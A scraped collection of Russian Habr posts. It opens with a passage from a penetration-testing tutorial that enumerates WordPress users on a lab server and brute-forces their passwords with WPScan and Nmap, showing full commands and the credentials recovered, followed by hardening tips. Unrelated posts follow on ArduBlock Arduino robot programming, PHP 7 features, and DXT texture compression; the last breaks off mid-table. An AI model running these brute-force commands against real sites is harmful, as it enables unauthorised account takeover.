Здесь нас интересуют следующие строки:
```
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1
```
Поиск информации о пользователях
--------------------------------
Поскольку теперь я знаю, что это сервер WordPress, я могу использовать WPScan для получения информации о потенциальных уязвимостях. Хорошо бы найти несколько имён пользователей и их пароли. Чтобы найти их в данном в экземпляре WordPress, используем опции --enumerate u:
`┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021
Interesting Finding(s):
...
[i] User(s) Identified:
[+] admin
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] pgervase
| Found By: Author Posts — Display Name (Passive Detection)
| Confirmed By:
| Author Id Brute Forcing — Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)`
Отлично, найдены два пользователя: **admin** и **pgervase**. Я попытаюсь подобрать пароль для пользователя admin, используя словари паролей — текстовый файл с набором возможных вариантов. Я возьму словари из 3 231 и из 3 543 076 137 строк.
Подбор пароля с атакой по словарю
---------------------------------
Для атаки по словарю можно использовать разные инструменты. Вот два примера команд с Nmap и WPScan:
```
# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt
```
Эти два инструмента, конечно же, могут гораздо больше, но и для подбора паролей тоже годятся.
А вот эта команда WPScan, например, выводит пароль в конце файла:
```
┌──(rootkali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.8.10
Sponsored by Automattic — https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021
Interesting Finding(s):
…..
[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57
<==================================================================================================================>
(3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57
<=========================================================
> (3231 / 6462) 50.00%
ETA: ??:??:??
[SUCCESS] — admin / redhat
[!] Valid Combinations Found:
| Username: admin, Password: redhat
```
Раздел **Valid Combinations Found** в конце содержит имя пользователя admin и его пароль. На перебор 3 231 строк ушло всего две минуты.
У меня есть ещё один файл словаря с 3 238 659 984 уникальными записями, что займет гораздо больше времени.
Nmap выдаёт результат намного быстрее:
```
┌──(rootkali)-[~]
└─# nmap -sV --script http-wordpress-brute
--script-args userdb=users.txt,passdb=password.txt,threads=6
vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.0 (protocol 2.0)
80/tcp open http Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
| Accounts:
| admin:redhat — Valid credentials <<<<<<<
| pgervase:redhat — Valid credentials <<<<<<<
|_ Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
|_ 100000 3,4 111/udp6 rpcbind
3306/tcp open mysql MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds
```
Правда, такое сканирование можно отследить по HTTPD-логам, которые будут обнаружены во взломанной системе:
```
10.19.47.170
- — [18/Feb/2021:20:14:01 -0500] «POST /wp-login.php HTTP/1.1» 200 7575
«http://vulnerable.usersys.redhat.com/» «WPScan v3.8.10
(https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:00 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
10.19.47.170 — - [18/Feb/2021:20:14:02 -0500] «POST /wp-login.php
HTTP/1.1» 200 7575 «http://vulnerable.usersys.redhat.com/» «WPScan
v3.8.10 (https://wpscan.org/)»
```
Поиск Heartbleed-уязвимости
---------------------------
Чтобы получить информацию о HTTPS-сервере и SSL/TLS протоколах, я использую команду sslscan:
```
┌──(rootkali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev xx XXX xxxx
Connected to 10.19.47.242
Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 disabled
TLSv1.0 disabled
TLSv1.1 disabled
TLSv1.2 enabled
TLSv1.3 enabled
```
Мы видим, что в версиях протоколов, которые используются на сервере, [Heartbleed-уязвимость](https://ru.wikipedia.org/wiki/Heartbleed) не обнаружена:
```
Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed
```
Ну что ж, значит через модуль Heartbeat я не могу получить доступ к оперативной памяти и данным сервера. Что ж… видно не судьба :)
Советы по предотвращению и защите от взлома
-------------------------------------------
Можно написать много статей про то, как противостоять атакам хакеров всех мастей. Тут я ограничусь общими рекомендациями:
* **Изучайте свою систему**: какие порты открыты, какие порты должны быть открыты, кто должен иметь возможность видеть эти порты и какой объём трафика должен проходить через них. Nmap вам в помощь.
* **Используйте лучшие и передовые практики:** то, что считается передовой практикой сегодня, перестанет быть таковой в будущем. Важно быть в курсе новейших достижений в области информационной безопасности.
* **Грамотно настраивайте ваши продукты и их окружение:** например, вместо того, чтобы позволять злоумышленнику постоянно атаковать вашу систему WordPress, заблокируйте его IP-адрес и ограничьте количество попыток входа в систему. Правда, блокировка IP-адреса часто оказывается бесполезной, потому что злоумышленники могут использовать разные адреса. Однако эту настройку легко включить, и она поможет отразить хотя бы некоторые атаки.
* **Создавайте и поддерживайте качественные резервные копии:** если злоумышленник взломает одну или несколько ваших систем, возможность восстановить данные без танцев с бубном поможет сэкономить много времени и денег.
* **Проверяйте свои логи:** как показывают приведённые выше примеры, команды сканирования и прочие проникающие манипуляции могут оставлять множество логов. Если вы заметили их вовремя, вы успеете защититься от взлома.
* **Обновляйте свою систему, приложения и любые дополнительные модули**: специалисты [Института стандартов и технологий США](https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-40r3.pdf%5D(https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-40r3.pdf) уверены, что «обновления обычно являются наиболее эффективным способом устранения уязвимостей и часто могут стать единственным по-настоящему эффективным решением».
* **Используйте дополнительные инструменты от поставщиков вашего ПО:** например, в подписку Red Hat Enterprise Linux входит инструмент [Red Hat Insights](https://www.redhat.com/sysadmin/how-red-hat-insights), который позволяет настроить вашу систему и своевременно предупреждает о потенциальных угрозах безопасности.
Полезные материалы (на английском языке)
----------------------------------------
То, что описано в этой статье, — лишь вершина айсберга. Чтобы погрузиться глубже, вы можете изучить следующие ресурсы:
* [NIST](https://www.nist.gov/cybersecurity)
* [Nmap](https://www.redhat.com/sysadmin/using-nmap-harden-systems)
* [Armitage](http://www.fastandeasyhacking.com/)
* [Red Hat Security](https://www.redhat.com/en/blog/channel/security)
* [Red Hat Product Security Center](https://access.redhat.com/security)
---
Облачные серверы от [Маклауд](https://macloud.ru/?partner=4189mjxpzx) быстрые и безопасные.
Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!
[](https://macloud.ru/?partner=4189mjxpzx&utm_source=habr&utm_medium=perevod&utm_campaign=grigi) | https://habr.com/ru/post/559562/ | null | ru | null |
# Программирование Arduino с помощью ArduBloсk на примере робота, движущегося по полосе
Здравствуйте! Я Аликин Александр Сергеевич, педагог дополнительного образования, веду кружки «Робототехника» и «Радиотехника» в ЦДЮТТ г. Лабинска. Хотел бы немного рассказать об упрощенном способе программирования Arduino с помощью программы «ArduBloсk».
Эту программу я ввел в образовательный процесс и восхищен результатом, у детей она пользуется особым спросом, особенно при написании простейших программ или для создания какого-то начального этапа сложных программ. ArduBloсk является графической средой программирования, т. е. все действия выполняются с нарисованными картинками с подписанными действиями на русском языке, что в разы упрощает изучение платформы Arduino. Дети уже со 2-го класса с легкостью осваивают работу с Arduino благодаря этой программе.
Да, кто-то может сказать, что еще существует Scratch и он тоже очень простая графическая среда для программирования Arduino. Но Scratch не прошивает Arduino, а всего лишь управляет им по средством USB кабеля. Arduino зависим от компьютера и не может работать автономно. При создании собственных проектов автономность для Arduino — это главное, особенно при создании роботизированных устройств.
Даже всеми известные роботы LEGO, такие как NXT или EV3 нашим ученикам уже не так интересны с появлением в программировании Arduino программы ArduBloсk. Еще Arduino намного дешевле любых конструкторов LEGO и многие компоненты можно просто взять от старой бытовой электронной техники. Программа ArduBloсk поможет в работе не только начинающим, но и активным пользователям платформы Arduino.
**Итак, что же такое ArduBloсk?** Как я уже говорил, это графическая среда программирования. Практически полностью переведена на русский язык. Но в ArduBloсk изюминка не только это, но и то, что написанную нами программу ArduBloсk конвертирует в код Arduino IDE. Эта программа встраивается в среду программирования Arduino IDE, т. е. это плагин.
Ниже приведен пример мигающего светодиода и конвертированной программы в Arduino IDE. Вся работа с программой очень проста и разобраться в ней сможет любой школьник.
В результате работы на программе можно не только программировать Arduino, но и изучать непонятные нам команды в текстовом формате Arduino IDE, ну а если же «лень» писать стандартные команды — стоит быстрыми манипуляциями мышкой набросать простенькую программку в ArduBlok, а в Arduino IDE её отладить.
Чтобы установить ArduBlok, необходимо для начала загрузить и установить Arduino IDE с официального сайта [Arduino](http://arduino.ru) и разобраться с настройками при работе с платой Arduino UNO. Как это сделать описано на том же сайте или же на [Амперке](http://wiki.amperka.ru), либо посмотреть на просторах YouTube. Ну, а когда со всем этим разобрались, необходимо скачать ArduBlok с официального сайта, вот [ссылка](http://sourceforge.net/projects/ardublock/files). Последние версии скачивать не рекомендую, для начинающих они очень сложны, а вот версия от 2013-07-12 — самое то, этот файл там самый популярный.
Затем, скачанный файл переименовываем в ardublock-all и в папке «документы». Создаем следующие папки: Arduino > tools > ArduBlockTool > tool и в последнею кидаем скачанный и переименованный файл. ArduBlok работает на всех операционных системах, даже на Linux, проверял сам лично на XP, Win7, Win8, все примеры для Win7. Установка программы для всех систем одинакова.
Ну, а если проще, я приготовил на Mail-диске 7z [архив](https://cloud.mail.ru/public/479de884b313%2F%D0%BF%D1%80%D0%BE%D0%B3%D0%B0%20%D0%B0%D1%80%D0%B4%D1%83%D0%B8%D0%BD%D0%BE.7z), распаковав который найдете 2 папки. В одной уже рабочая программа Arduino IDE, а в другой папке содержимое необходимо отправить в папку документы.
Для того, чтобы работать в ArduBlok, необходимо запустить Arduino IDE. После чего заходим во вкладку Инструменты и там находим пункт ArduBlok, нажимаем на него — и вот она, цель наша.
Теперь давайте разберемся с интерфейсом программы. Как вы уже поняли, настроек в ней нет, а вот значков для программирования предостаточно и каждый из них несет за собой команду в текстовом формате Arduino IDE. В новых версиях значков еще больше, поэтому разобраться с ArduBlok последней версии сложно и некоторые из значков не переведены на русский.
В разделе «Управление» мы найдем разнообразные циклы.
В разделе «Порты» мы можем с вами управлять значениями портов, а также подключенными к ним звукоизлучателя, сервомашинки или ультразвукового датчика приближения.
В разделе «Числа/Константы» мы можем с вами выбрать цифровые значения или создать переменную, а вот то что ниже вряд ли будите использовать.
В разделе «Операторы» мы с вами найдем все необходимые операторы сравнения и вычисления.
В разделе «Утилиты» в основном используются значки со временем.
«TinkerKit Bloks»- это раздел для приобретенных датчиков комплекта TinkerKit. Такого комплекта у нас, конечно же, нет, но это не значит, что для других наборов значки не подойдут, даже наоборот — ребятам очень удобно использовать такие значки, как включения светодиода или кнопка. Эти знаки используются практически во всех программах. Но у них есть особенность — при их выборе стоят неверные значки обозначающие порты, поэтому их необходимо удалить и подставить значок из раздела «числа/константы» самый верхний в списке.
«DF Robot» — этот раздел используется при наличии указанных в нем датчиков, они иногда встречаются. И наш сегодняшний пример — не исключение, мы имеем «Регулируемый ИК выключатель» и «Датчик линии». «Датчик линии» отличается от того, что на картинке, так как он от фирмы Амперка. Действия их идентичны, но датчик от Амперки намного лучше, так как в нем имеется регулятор чувствительности.
«Seeedstudio Grove» — датчики этого раздела мной ни разу не использовались, хотя тут только джойстики. В новых версиях этот раздел расширен.
И последний раздел это «Linker Kit». Датчики, представленные в нем, мне не попадались.
Хочется показать пример программы на роботе, двигающемся по полосе. Робот очень прост, как в сборке, так и в приобретении, но обо всем по порядку. Начнем с его приобретения и сборки.
Вот сам набор деталей все было приобретено на сайте [Амперка](http://amperka.ru/).
1. AMP-B001 Motor Shield (2 канала, 2 А) 1 890 руб
2. AMP-B017 Troyka Shield 1 690 руб
3. AMP-X053 Батарейный отсек 3×2 AA 1 60 руб
4. AMP-B018 Датчик линии цифровой 2 580 руб
5. ROB0049 Двухколёсная платформа miniQ 1 1890 руб
6. SEN0019 Инфракрасный датчик препятствий 1 390 руб
7. FIT0032 Крепление для инфракрасного датчика препятствий 1 90 руб
8. A000066 Arduino Uno 1 1150 руб
Для начала соберем колесную платформу и припаяем к двигателям провода.
Затем установим стойки, для крепления платы Arduino UNO, которые были взяты от старой материнской платы ну или иные подобные крепления.
Затем крепим на эти стойки плату Arduino UNO, но один болтик прикрутить не получиться — разъемы мешают. Можно, конечно, их выпаять, но это уже на ваше усмотрение.
Следующим крепим инфракрасный датчик препятствий на его специальное крепление. Обратите внимание, что регулятор чувствительности находиться сверху, это для удобства регулировки.
Теперь устанавливаем цифровые датчики линии, тут придется поискать пару болтиков и 4 гайки к ним Две гайки устанавливаем между самой платформой и датчиком линии, а остальными фиксируем датчики.
Следующим устанавливаем Motor Shield или по другому можно назвать драйвер двигателей. В нашем случае обратите внимание на джампер. Мы не будем использовать отдельное питание для двигателей, поэтому он установлен в этом положение. Нижняя часть заклеивается изолентой, это чтобы не было случайных замыканий от USB разъема Arduino UNO, это на всякий случай.
Сверху Motor Shield устанавливаем Troyka Shield. Он необходим для удобства соединения датчиков. Все используемые нами сенсоры цифровые, поэтому датчики линии подключены к 8 и 9 порту, как их еще называют пины, а инфракрасный датчик препятствий подключен к 12 порту. Обязательно обратите внимание, что нельзя использовать порты 4, 5, 6, 7 так как оны используются Motor Shield для управлением двигателями. Я эти порты даже специально закрасил красным маркером, чтобы ученики разобрались.
Если вы уже обратили внимание, мной была добавлена черная втулка, это на всякий случай, чтобы установленный нами батарейный отсек не вылетел. И наконец, всю конструкцию мы фиксируем обычной резинкой.
Подключения батарейного отсека может быть 2-х видов. Первый подключение проводов к Troyka Shield. Также возможно подпаять штекер питания и подключать уже к самой плате Arduino UNO.
Вот наш робот готов. Перед тем как начать программировать, надо будет изучить, как все работает, а именно:
— Моторы:
Порт 4 и 5 используются для управления одним мотором, а 6 и 7 другим;
Скоростью вращения двигателей мы регулируя ШИМом на портах 5 и 6;
Вперед или назад, подавая сигналы на порты 4 и 7.
— Датчики:
У нас все цифровые, поэтому дают логические сигналы в виде 1 либо 0;
А что бы их отрегулировать, в них предусмотрены специальные регуляторы а при помощи подходящей отвертки их можно откалибровать.
Подробности можно узнать на [Амперке](http://wiki.amperka.ru/arduino-%D1%80%D0%BE%D0%B1%D0%BE%D1%82%D0%BE%D1%82%D0%B5%D1%85%D0%BD%D0%B8%D0%BA%D0%B0:%D0%BE%D0%B3%D0%BB%D0%B0%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5). Почему тут? Потому что там очень много информации по работе с Arduino.
Ну что ж, мы, пожалуй, все просмотрели поверхностно, изучили и конечно же собрали робота. Теперь его необходимо запрограммировать, вот она — долгожданная программа!
И программа конвертированная в Arduino IDE:
```
void setup()
{
pinMode( 8 , INPUT);
pinMode( 12 , INPUT);
pinMode( 9 , INPUT);
pinMode( 4 , OUTPUT);
pinMode( 7 , OUTPUT);
pinMode(5, OUTPUT);
pinMode(6, OUTPUT);
}
void loop()
{
if (digitalRead( 12))
{
if (digitalRead( 8))
{
if (digitalRead( 9))
{
digitalWrite( 4 , HIGH );
analogWrite(5, 255);
analogWrite(6, 255);
digitalWrite( 7 , HIGH );
}
else
{
digitalWrite( 4 , HIGH );
analogWrite(5, 255);
analogWrite(6, 50);
digitalWrite( 7 , LOW );
}
}
else
{
if (digitalRead( 9))
{
digitalWrite( 4 , LOW );
analogWrite(5, 50);
analogWrite(6, 255);
digitalWrite( 7 , HIGH );
}
else
{
digitalWrite( 4 , HIGH );
analogWrite(5, 255);
analogWrite(6, 255);
digitalWrite( 7 , HIGH );
}
}
}
else
{
digitalWrite( 4 , HIGH );
analogWrite(5, 0);
analogWrite(6, 0);
digitalWrite( 7 , HIGH );
}
}
```
В заключении хочу сказать, эта программа просто находка для образования, даже для самообучения она поможет изучить команды Arduino IDE. Самая главная изюминка — это то, что более 50 значков установки, она начинает «глючить». Да, действительно, это изюминка, так как постоянное программирование только на ArduBlok не обучит вас программированию в Arduino IDE. Так называемый «глюк» дает возможность задумываться и стараться запоминать команды для точной отладки программ.
Желаю успехов. | https://habr.com/ru/post/240441/ | null | ru | null |
# Чего ждать, когда ждешь ребенка: PHP 7, часть 2
> Это вторая часть нашей минисерии статей «Чего ждать от PHP7». [Читать часть 1](http://habrahabr.ru/post/257237/)
>
>
Как вы наверное уже знаете, PHP7 придет в этом году! И сейчас самое время узнать что же нового он нам принесет.
В [первой части данной серии](http://habrahabr.ru/post/257237/ "Чего ждать, когда ждешь ребенка: PHP 7, часть 1") мы рассмотрели некоторые наиболее важные изменения в PHP7 и две крупные новые возможности. В этой статье рассмотрим еще шесть, о которых вы точно захотите узнать.
#### Новый экранирующий символ для Unicode
Добавление нового escape-символа `\u` позволяет нам указывать специфические unicode символы внутри PHP-строк *(да-да, те самые emoji и не только)*.
Синтаксис выглядит так — `\u{CODEPOINT}`, например, зеленое сердце, , может быть выражено как PHP-строка: `"\u{1F49A}"`.
#### Оператор объединения со значением NULL ([Null Coalesce Operator](https://wiki.php.net/rfc/isset_ternary))
Еще один новый оператор — `??`. Он возвращает левый операнд, если он не имеет значение NULL; в противном случае возвращается правый операнд.
Самое главное, что не генерирует `notice`, если левый операнд является несуществующей переменной. В отличии от короткого тернарного оператора `?:`, он работает как `isset()`.
Вы также можете использовать цепочки операторов, чтобы вернуть первый ненулевой из данного набора:
```
$config = $config ?? $this->config ?? static::$defaultConfig;
```
#### Привязка замыканий во время вызова
С PHP5.4 к нам пришли нововведения `Closure->bindTo()` и `Closure::bind()`, которые позволяют изменить привязку `$this` и области вызова, вместе, или по отдельности, создавая дубликат замыкания.
PHP7 теперь добавляет легкий способ сделать это прямо во время вызова, связывая `$this` и область вызова с помощью `Closure->call()`. Этот метод принимает объект в качестве своего первого аргумента, а затем любые другие аргументы, которые пойдут в замыкание:
```
class HelloWorld {
private $greeting = "Hello";
}
$closure = function($whom) { echo $this->greeting . ' ' . $whom; }
$obj = new HelloWorld();
$closure->call($obj, 'World'); // Hello World
```
#### Группировка деклараций `use`
Если вам когда-либо приходилось импортировать много классов из одного и того же пространства имен, вы, наверное, были очень счастливы, когда IDE делала всю основную работу за вас. Для всех остальных, и для краткости, в PHP7 теперь есть возможность [группировать декларирование операторов `use`](https://wiki.php.net/rfc/group_use_declarations). Это позволит быстрее и удобнее работать с большим количеством импортов и сделает код читаемее:
```
// Original
use Framework\Component\SubComponent\ClassA;
use Framework\Component\SubComponent\ClassB as ClassC;
use Framework\Component\OtherComponent\ClassD;
```
```
// With Group Use
use Framework\Component\{
SubComponent\ClassA,
SubComponent\ClassB as ClassC,
OtherComponent\ClassD
};
```
Группировка может использоваться с константами и импортируемыми функциями, вы можете смешивать все вместе:
```
use Framework\Component\{
SubComponent\ClassA,
function OtherComponent\someFunction,
const OtherComponent\SOME_CONSTANT
};
```
#### Улучшение генераторов
##### `return` в генераторах
В генераторах появились две очень интересные возможности. Первая — [Generator Return Expressions](https://wiki.php.net/rfc/generator-return-expressions), позволяющая возвращать значение после (успешного) завершения работы генератора.
До PHP7, если вы пытались что-нибудь вернуть в генераторе, это приводило к ошибке. Однако, теперь вы можете вызвать `$generator->getReturn()`, чтобы получить возвращаемое значение.
Если генератор еще не завершился или выбросил непойманное исключение, вызов `$generator->getReturn()` сгенерирует исключение.
Если же генератор завершен, но не объявлен `return`, то метод вернет `NULL`.
Пример:
```
function gen() {
yield "Hello";
yield " ";
yield "World!";
return "Goodbye Moon!";
}
$gen = gen();
foreach ($gen as $value) {
echo $value;
}
// Outputs "Hello" on iteration 1, " " on iterator 2, and "World!" on iteration 3
echo $gen->getReturn(); // Goodbye Moon!
```
##### Делегирование генератора
Вторая особенность является гораздо более захватывающей: [делегирование генератора](https://wiki.php.net/rfc/generator-delegation). Это позволяет вернуть другую итерабельную структуру — будь то массив, итератор или другой генератор.
Важно понимать, что итерации суб-структур осуществляются именно через самую внешнюю петлю, как если бы это была одна плоская структура, а не рекурсивный вызов.
Это утверждение также справедливо при отправке данных в генератор или выбросе исключений. Они передаются в суб-структуру, как если бы это был ее непосредственный вызов.
Синтаксис такой — `yield from` . Посмотрим на примере:
```
function hello() {
yield "Hello";
yield " ";
yield "World!";
yield from goodbye();
}
function goodbye() {
yield "Goodbye";
yield " ";
yield "Moon!";
}
$gen = hello();
foreach ($gen as $value) {
echo $value;
}
```
При каждой итерации будет выводиться:
1. «Hello»
2. " "
3. «World!»
4. «Goodbye»
5. " "
6. «Moon!»
Стоит упомянуть еще один нюанс: поскольку суб-структуры привносят свои собственные ключи, вполне возможно, что один и тот же ключ будет возвращен за несколько итераций. Недопущение подобного — это ваша ответственность, конечно же, если для вас это важно.
#### `\EngineException`
Обработка фатальный и catchable фатальных ошибок в PHP традиционна была невозможна, или по крайней мере очень сложна. Но с добавлением [Engine исключений](https://wiki.php.net/rfc/engine_exceptions_for_php7), многие из этих ошибок будут теперь выбрасывать исключение вместо самой ошибки.
Теперь, когда фатальная или catchable фатальная неустранимая ошибка возникнут, выбросится исключение, позволяющее обработать ошибку корректно. Если его не трогать, то это приведет к традиционной фатальной ошибке необработанного исключения.
Эти исключения являются `\EngineException` объектами, и в отличии от всех пользовательских исключений, они не наследуются от базового класса `\Exception`. Это сделано специально, чтобы существующий код, который ловит класс `\Exception` не отлавливал и фатальные ошибки, изменяя свое поведение. Таким образом сохраняется обратная совместимость.
В будущем, если вы хотите поймать как традиционные исключения, так и engine исключения, вам нужно будет отлавливать их новый общий родительский класс `\BaseException`.
Кроме того, ошибки парсинга в выполняемом функцией `eval()` коде теперь будут выбрасывать `\ParseException`, а несоответствие типов приведет к `\TypeException`.
Пример:
```
try {
nonExistentFunction();
} catch (\EngineException $e) {
var_dump($e);
}
object(EngineException)#1 (7) {
["message":protected]=>
string(32) "Call to undefined function nonExistantFunction()"
["string":"BaseException":private]=>
string(0) ""
["code":protected]=>
int(1)
["file":protected]=>
string(17) "engine-exceptions.php"
["line":protected]=>
int(1)
["trace":"BaseException":private]=>
array(0) {
}
["previous":"BaseException":private]=>
NULL
}
```
#### Скоро!
РНР 7.0.0 исполнилось всего восемь месяцев, и, вполне возможно, это будет самым быстрым релизом мажорной версии в истории PHP. Пока все еще в альфа-версии, но уже сейчас все складывается очень хорошо.
И вы можете помочь сделать еще лучше.
##### Проверь свой код
Возьмите [PHP7 vagrant box](http://github.com/rlerdorf/php7dev) от Расмуса и запустите ваши тесты или проверьте по своему чек-листу ваше приложение. Сообщите о [багах](http://bugs.php.net) в проект, повторяйте регулярно :)
##### Помоги GoPHP7-ext
Одним из основных препятствий для PHP7 является большое количество работы по обновлению всех расширений для работы с новым Zend Engine 3.
Если вы используете расширение, которое не слишком популярно и известно, и вам не нравится уровень его поддержки, или же у вас есть свои собственные расширения — посмотрите на [проект GoPHP7-ext](http://gophp7.org/gophp7-ext/) и примите участие, перенеся свои расширения на новый движок.
##### Документация
Каждая новая фича PHP7 имеет свой RFC. Все они могут быть найдены в [вики PHP.net](http://wiki.php.net/rfc) и являются хорошей отправной точкой для написания новой документации. Вы можете сделать это [онлайн в GUI среде](https://edit.php.net), в том числе и закоммитить (если у вас есть карма) или отправить патч на проверку.
#### Заключение
РНР 7 будет *великим*!
Протестируйте ваши приложения. Помогите перенести расширения.
P.S. вы уже пробовали PHP7? Как вы относитесь к нововведениям? Есть ли что-то, с чем не согласны? Когда вы планируете перейти на новую версию? Напишите свои мысли по этому поводу в комментариях. | https://habr.com/ru/post/258139/ | null | ru | null |
# Dxt сжатие в играх
В этой статье я хочу поделиться своим опытом разработки мобильной игры, поскольку я Windows Phone разработчик, я буду рассказывать про свой опыт применительно к этой системе.
### Память и текстуры
Если Вы уже занимались разработкой мобильных игр, то основное зло не в нехватке ресурсов CPU/GPU, а в нехватке памяти. Именно о памяти нужно думать в мобильной разработке в первую очередь. В Windows Phone 7 ограничение было в 100мб, в Window Phone 8 стало получше, но не сильно:
| | | | | |
| --- | --- | --- | --- | --- |
| Тип лимита | Тип приложения | Телефоны с маленьким количеством памяти | 1- Гб телефоны | 2-Гб телефоны |
| Default | XNA или native | 150 MB | 150 MB | 150 MB |
| Default | XAML/.NET excluding XNA | 150 MB | 300 MB | 300 MB |
| Higher | All app types | 180 MB | 380 MB | 570 MB |
И если Вы разрабатываете игру, в которой довольно большое количество спрайтов (уложенных, конечно же, в атласы) — то вы рано или поздно задумаетесь о количестве этих самых атласов и сжатии текстур.
Стандартный атлас, с которым работают все более или менее уважающие себя устройства — это 2048х2048 пикселей. Что в несжатом виде (32 bits per pixel) будет занимать аж 2\*2\*4 = 16 Мб памяти. Тогда на выручку приходят форматы сжатия текстур, в нашем случае это DXT сжатие.
Сжатые текстуры не только требуют значительно меньше памяти видеокарты, но и вообще отображаются быстрее, чем несжатые текстуры, за счет снижения требований к пропускной способности. Но некоторые качества изображения могут быть потеряны из-за сжатия. Тем не менее, снижение объема памяти позволяет увеличить разрешение текстур, которые будут использоваться, что действительно может дать существенный выигрыш в качестве.
Dxt компрессия уже реализована в .XNA Frameworke, а также в Monogame.
Для наглядности, возьмем 256 изображений размером 128х128 пикселей, один текстурный атлас из этих текстур размером 2048\*2048, и сожмем этот атлас.
Ходят слухи о том, что быстрее подгружаются текстуры размер, которых кратен степени двойки, для эксперимента изменим немного оригинальную текстуру, срезав один пиксель, доведя ей размер 2048\*2047.
Чтобы показать действенность описанных методов сделаем контрольные замеры. Проводить их будем на телефоне Nokia Lumia 800. Для большей точности сделаем для каждого метода 10 замеров.
Сведем получившиеся результаты в таблицу 1 и подведем итог.
Таблица 1. Скорость загрузки изображений.
| | | | | |
| --- | --- | --- | --- | --- |
| | 256 текстур по 128\*128 | 1 dxt 2048\*2048 | 1 origin 2048\*2048 | 1 origin 2048\*2047 |
| 1 | 00:00:00.6460000 | 00:00:00.0330000 | 00:00:00.1510000 | 00:00:00.1200000 |
| 2 | 00:00:00.6440000 | 00:00:00.0330000 | 00:00:00.1510000 | 00:00:00.1180000 |
| 3 | 00:00:00.6470000 | 00:00:00.0410000 | 00:00:00.1870000 | 00:00:00.1570000 |
